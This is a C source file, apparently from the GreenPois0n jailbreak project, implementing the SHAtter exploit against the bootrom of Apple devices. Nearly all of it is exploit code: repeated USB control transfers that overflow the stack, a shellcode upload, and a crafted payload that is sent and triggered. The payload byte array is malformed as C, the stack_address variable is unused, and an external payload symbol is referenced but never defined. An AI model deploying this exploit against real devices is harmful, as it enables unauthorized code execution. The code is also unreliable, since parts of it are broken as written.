/**
 * GreenPois0n Syringe - exploits/SHAtter/SHAtter.c
 * Copyright (C) 2010 Chronic-Dev Team
 * Copyright (C) 2010 Joshua Hill
 *
 * Based on exploit discovered by pod2g
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 **/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#include "common.h"
#include "exploits.h"
#include "SHAtter.h"
#include "libirecovery.h"

int SHAtter_exploit() {
	irecv_error_t error = IRECV_E_SUCCESS;
	int i, ret;
	unsigned char data[0x800];
	unsigned char payload[] = {
08 E0 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 C0 46 08 48 00 21 08 4A 00 F0 05 F8 06 48 07 49 00 22 07 4B 98 47 0B 78 03 70 01 30 01 31 01 3A 00 2A F8 D1 70 47 00 00 00 84 00 00 01 00 00 40 02 00 EF 07 00 00
	};

	info("Executing SHAtter exploit ...\n");
	debug("Reseting usb counters.\n");
	ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	if (ret < 0) {
		error("Failed to reset usb counters.\n");
		return -1;
	}

	debug("executing stack overflow\n");
	unsigned int stack_address = 0x84033F98;
	for(i = 0; i < 0x23800 ; i+=0x800)  {
		ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
		if (ret < 0) {
			error("Failed to push data to the device.\n");
			return -1;
		}
	}
	debug("Uploading shellcode.\n");
	memset(data, 0, 0x800);
	memcpy(data, SHAtter_payload, sizeof(SHAtter_payload));
	ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000);
	if (ret < 0) {
		error("Failed to upload shellcode.\n");
		return -1;
	}

	debug("Reseting usb counters.\n");
	ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000);
	if (ret < 0) {
		error("Failed to reset usb counters.\n");
		return -1;
	}

	int send_size = 0x100 + sizeof(payload);
	*((unsigned int*) &payload[0x14]) = send_size;
	memset(data, 0, 0x800);
	memcpy(&data[0x100], payload, sizeof(payload));

	ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000);
	if (ret < 0) {
		error("Failed to send SHAtter to the device.\n");
		return -1;
	}
	ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000);
	if (ret < 0) {
		error("Failed to execute SHAtter.\n");
		return -1;
	}
	info("SHAtter sent & executed successfully.\n");

	debug("Reconnecting to device\n");
	client = irecv_reconnect(client, 2);
	if (client == NULL) {
		debug("%s\n", irecv_strerror(error));
		error("Unable to reconnect\n");
		return -1;
	}

	return 0;
}